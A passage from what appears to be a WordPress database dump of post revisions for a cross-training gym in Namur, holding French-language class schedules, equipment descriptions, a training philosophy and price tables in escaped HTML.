Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 13:47:21', '2013-06-16 13:47:21', '', 22, 'http://www.crosstrainingcenter.be/?p=222', 0, 'revision', '', 0),
(223, 1, '2013-07-03 19:02:56', '2013-07-03 19:02:56', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:02:56', '2013-07-03 19:02:56', '', 11, 'http://www.crosstrainingcenter.be/?p=223', 0, 'revision', '', 0),
(224, 1, '2013-06-16 13:58:09', '2013-06-16 13:58:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:58:09', '2013-06-16 13:58:09', '', 5, 'http://www.crosstrainingcenter.be/?p=224', 0, 'revision', '', 0),
(225, 1, '2013-07-03 19:05:33', '2013-07-03 19:05:33', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-3', '', '', '2013-07-03 19:05:33', '2013-07-03 19:05:33', '', 214, 'http://www.crosstrainingcenter.be/?p=225', 0, 'revision', '', 0),
(226, 1, '2013-07-03 19:06:31', '2013-07-03 19:06:31', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-4', '', '', '2013-07-03 19:06:31', '2013-07-03 19:06:31', '', 214, 'http://www.crosstrainingcenter.be/?p=226', 0, 'revision', '', 0),
(342, 2, '2013-07-03 20:45:08', '2013-07-03 20:45:08', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-9', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 214, 'http://www.crosstrainingcenter.be/214-revision-9/', 0, 'revision', '', 0),
(227, 1, '2013-07-03 19:09:04', '2013-07-03 19:09:04', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-5', '', '', '2013-07-03 19:09:04', '2013-07-03 19:09:04', '', 214, 'http://www.crosstrainingcenter.be/?p=227', 0, 'revision', '', 0),
(228, 1, '2013-07-03 19:10:20', '2013-07-03 19:10:20', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1 séance :&lt;/strong&gt; 9.00€\r\n&lt;strong&gt;1 carte de 10 séances :&lt;/strong&gt; 80.00€ (valable 3 mois)\r\n&lt;strong&gt;1 carte de 20 séances :&lt;/strong&gt; 120.00€ (valable 4 mois)\r\n&lt;strong&gt;Abonnement 1 mois illimité :&lt;/strong&gt; 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-6', '', '', '2013-07-03 19:10:20', '2013-07-03 19:10:20', '', 214, 'http://www.crosstrainingcenter.be/?p=228', 0, 'revision', '', 0),
(230, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 11, 'http://www.crosstrainingcenter.be/?p=230', 0, 'revision', '', 0),
(229, 1, '2013-07-03 19:11:24', '2013-07-03 19:11:24', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1 séance :&lt;/strong&gt; 9.00€\r\n&lt;strong&gt;1 carte de 10 séances :&lt;/strong&gt; 80.00€ (valable 3 mois)\r\n&lt;strong&gt;1 carte de 20 séances :&lt;/strong&gt; 120.00€ (valable 4 mois)\r\n&lt;strong&gt;Abonnement 1 mois illimité :&lt;/strong&gt; 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1er rendez-vous : bilan alimentaire et programme personnalisé :&lt;/strong&gt; 50.00€\r\n&lt;strong&gt;Suivi&lt;/strong&gt; 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-7', '', '', '2013-07-03 19:11:24', '2013-07-03 19:11:24', '', 214, 'http://www.crosstrainingcenter.be/?p=229', 0, 'revision', '', 0),
